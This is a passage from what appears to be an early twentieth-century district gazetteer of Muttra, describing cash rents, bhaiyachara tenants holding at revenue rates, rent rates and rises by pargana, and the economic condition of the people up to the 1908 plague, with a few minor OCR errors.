Rents in this district are universally paid in cash and not in kind, there being no land recorded as grain-rented. Cash rents vary according to the locality and nature of the soil, the form of tenancy and, to a very small extent, the caste of the tenant; for there is no universally recognised custom in Muttra under which certain castes pay lower rents than others. Of the chief cultivating castes, Brahman tenants-at-will pay the highest rate. There are two apparent exceptions, however, namely Kachhis and Mallahs. The former pay high rents because of their well-known cultivating industry, and the latter pay low rents because the chief portion of their holdings lies in the pure Jumna sand, where at a great expenditure of manure they raise melons. It is on the whole probably true that the low-caste rate is higher than that paid by high-caste tenants; but the rule is not without its exceptions. Frequently the phenomenon arises from purely local causes. A noticeable feature of the cis-Jumna parganas, but especially of Chhata, is the absence of real rent-rates. This is due to the peculiar privileges enjoyed by the tenants and is the result of the con­stitution of the village communities. In many of the bhaiyachara villages tenants are not required to pay more than the share of the Government revenue and village expenses that is proportionate to the land held by them. They hold in fact at revenue rates. In these villages the bulk of the land is cul­tivated by the members of the brotherhood themselves. The surplus land alone is held by tenants; and, as the only contri­bution required from cultivating proprietors by the village council is their quota of the land revenue and other expenses, the custom has grown up of dealing with any tenants there might be in the same way. In fact, the principle which originally made cultivating possession synonymous with ownership has been instinctively extended to the ordinary tenant who does not belong to the brotherhood. The distinction between rent proper-the letting value of the land- and revenue is thus obliterated in these bhaiyachara villages.

RENTAL INCIDENCES

At the last settlement the average recorded rent paid for each acre of cultivation was Rs. 3.74 or nearly Rs. 3-12-0 for each acre. Occupancy tenants paid Rs. 3.43 and non-occu­pancy tenants Rs. 4.06, the area of land in each case being very nearly equal. The relation between the rates of the two classes varied to a considerable extent in different tahsils. While the advantage in favour of the occupancy tenant averaged 16 per cent. throughout the district, it was no less than 22 per cent. in Mahaban, 21 per cent, in Nohjhil, 20 per cent. in Mat and 13 per cent. in Sadabad. On the other hand it dropped to 3 per cent. in Muttra, and the occupancy tenants' rental was actually higher than that of tenants-at-will in Chhata and Kosi. The rates paid in the two latter parganas, however, are not true rents; for under the peculiar system prevailing in the bhaiyachara villages a large number of tenants are privileged to pay revenue rates; these have been noticed above. The amount paid also varied in different parts. The occupancy rental ranged from Rs. 5-0-1 per acre in Sadabad pargana to Rs. 2-11-10 in Muttra; while for tenants-at-will the highest rates were Rs. 5-8-10 in the former pargana, Rs. 5-5-3 in Sahpau and Rs. 5-3-1 in Mahaban, the lowest being Rs. 2-2-10 in Kosi.

CHANGES IN RENT

From what has already been said it is clear that, in order to obtain a fair comparison between rents at earlier periods, the cis-Jumna tahsils, or at any rate the Chhata tahsil, should be disregarded owing to the absence of true economic rent. From a comparison of the revised records prepared in 1848—50 and those of the settlement concluded in 1879 it appears that there had been an all-round rise of 22.9 per cent. in Sahpau, Sadabad and Mahaban. In the case of occupancy tenants the rise was in no case more than 18 per cent., while in the ease of tenants-at-will it was 28 per cent. in Sadabad and 42 per cent. in Mahaban. The con­clusion drawn by the settlement officer was that the general rent-rate had risen from 25 to 30 per cent. during the period, and this agrees closely with the conclusions formed by other settlement officers in neighbouring districts such as Etawah and Aligarh. Since the last settlement rents have risen everywhere by almost as much again, the estimated increase being 19 per cent. in the case of occupancy tenants and 30 per cent. in the case of tenants­-at-will. This rise is partly the result of the natural increase of the rental consequent on the enhancement of prices, the com­petition for land and similar economic causes, and partly of enhancement at the time of settlement, for the recorded rents were not accepted unreservedly by the assessing officers. Thus in parganas Sahpau, Sadabad and Mahaban the corrected rental before enhancement was Rs. 9,73,711, whereas the recorded rental after enhancement was Rs. 9,67,469 and the corrected rental Rs. 11,67,563. The average recorded occupancy rental in 1907-08 was Rs. 4.22 per acre and that for tenants-at-will Rs. 5.73. Both occupancy and non-occupancy rents are lowest in Chhata, where they average Rs. 3-1-10 and Rs. 3-13-6 an acre, respectively; and they are highest in Sadabad, where they average Rs. 5-9-4 for occupancy and Rs. 8-1-1 for non-occupancy tenants. Next comes Mahaban with its. 4-14-7 and Rs. 7-3-1 respectively, and this is followed by Mat with rates of Rs. 4-8-6 and Rs. 6-5-11, and Muttra with Rs. 3-11-4 and Rs. 4-11-2. The rise has thus been universal; but it is noticeable that in Chhata, where many tenants still remain who are privileged to hold at revenue rates, the occupancy rate has remained substantially unchanged. Sadabad and Mahaban are the parganas in which the rental has always been highest; but there has been a marked rise also Muttra and Mat. The all-round rate paid by sub-tenants is 6.64, and as in the case of real tenants it ranges from Rs. 8-13-0 in Sadabad though Rs. 8-3-0 in Mahaban, Rs. 7-12-6 Mat, Rs. 5-0-3 in Muttra to Rs. 3-9-4 in Chhata.

CONDITI. OF THE PEOPLE'

There are probably few districts in the province which have benefited so much from the extension of irrigation and the improvement in the means of communication as Muttra. These changes have naturally not been without a far-reaching effect on the population, the bulk of whom are devoted to agriculture or dependent on the trade in agricultural produce. As regards the houses and the clothes of the people, the changes that have taken place are not so apparent as in the case of their food. Still the villages have a more marked air of prosperity, a desire for sanita­tion is spreading, and European or mill-make cloth has taken the place to a large extent of hand-loom fabrics. The indications of improvement in the food of the people are more clear. The best crops are grown on irrigated land only, and the proportion which irrigated land bears to dry has been steadily increasing. The better crops have consequently been grown in larger proportions, and more nourishing cereals are now more largely con­sumed by the hulk of the people. The increase of irrigation has further increased the relative productivity of the land; and as there has been a large rise in prices the cultivators are able to obtain higher values for their produce. The history of recent famines illustrates the power of resistance in the people against calami­ties; for, in spite of the increase in the price of the necessaries of life there is less distress now than there was thirty years ago, when these periodical visitations come round. This indicates that there must be a larger margin left for saving or for the conveniences as opposed to the necessities of life. Land has considerably increased in value. The average price of land transferred by private sale between 1837-38 and 1848—50 was Rs. 3.44 per acre, whereas from the Mutiny up to the conclusion of the settlement it was Rs. 13.98 per acre. From 1880 until 1900 land paying Rs. 3,07,207 land revenue in the aggregate changed hands by private sale at a price averaging 14 years' purchase; and during the last three years of the period the average was as' high as 23 years' purchase, as against less than six years' purchase in the period betweesn the Mutiny and the settlement. The unskilled and general labourers have pro­bably fared as well as the agriculturists, for work is usually plentiful and wages have risen. In the towns the people are generally grain-dealers or landlords or money-lenders who are dependent on the agricultural population and whose prosperity varies with theirs; or else they are priests and mendicants who live on the offerings of the faithful or on the gifts of pilgrims whom they accompany on tour. To both of these the improved communications, which enable the food grains of the district available for export to be transported to the most convenient markets on the one hand and which bring in an influx of strangers on the other, have been an unmixed advantage. There can be no doubt that as a result of this the absolute amount of capital in the district has largely increased. It is probably true that most of the agriculturists are indebted to the grain-dealers; but as the produce of husbandry becomes more certain the capital necessary to finance agricultural operations can be more easily borrowed and more easily repaid, and their depend­ence becomes less; while as economic conditions slowly change the benefits of the competition in the export trade are slowly filtering down to the cultivator who is gradually forcing the grain-dealer to give him a better price for his produce. As in so many other respects, however, there is a difference between the condition of the people in eastern and western Muttra. The inhabitants on the east of the Jumna have been now for many years able to pay very high rentals without any appreciable distress and, in spite of a certain amount of deterioration, have maintained a generally high degree of prosperity. An exception must, how-ever, be made in case of the eastern villages of Mat which have suffered severely owing to a succession of unfavourable seasons. Signs of recovery nevertheless are not wanting. The liberality of the Government to this tract has been specially great. The people in Chhata and Muttra, on the other hand, have suffered on several occasions from drought, the waterlogging of the land and fever epidemics which have inpaired their strength; and it is generally admitted that the agriculturists in this tract are in a somewhat depressed state as a consequence of these successive calamities. Nor must mention be omitted of the terrible visita­tion of plague in 1908 which cost nearly 50,000 lives. This calamity will leave its mark on the census of 1911.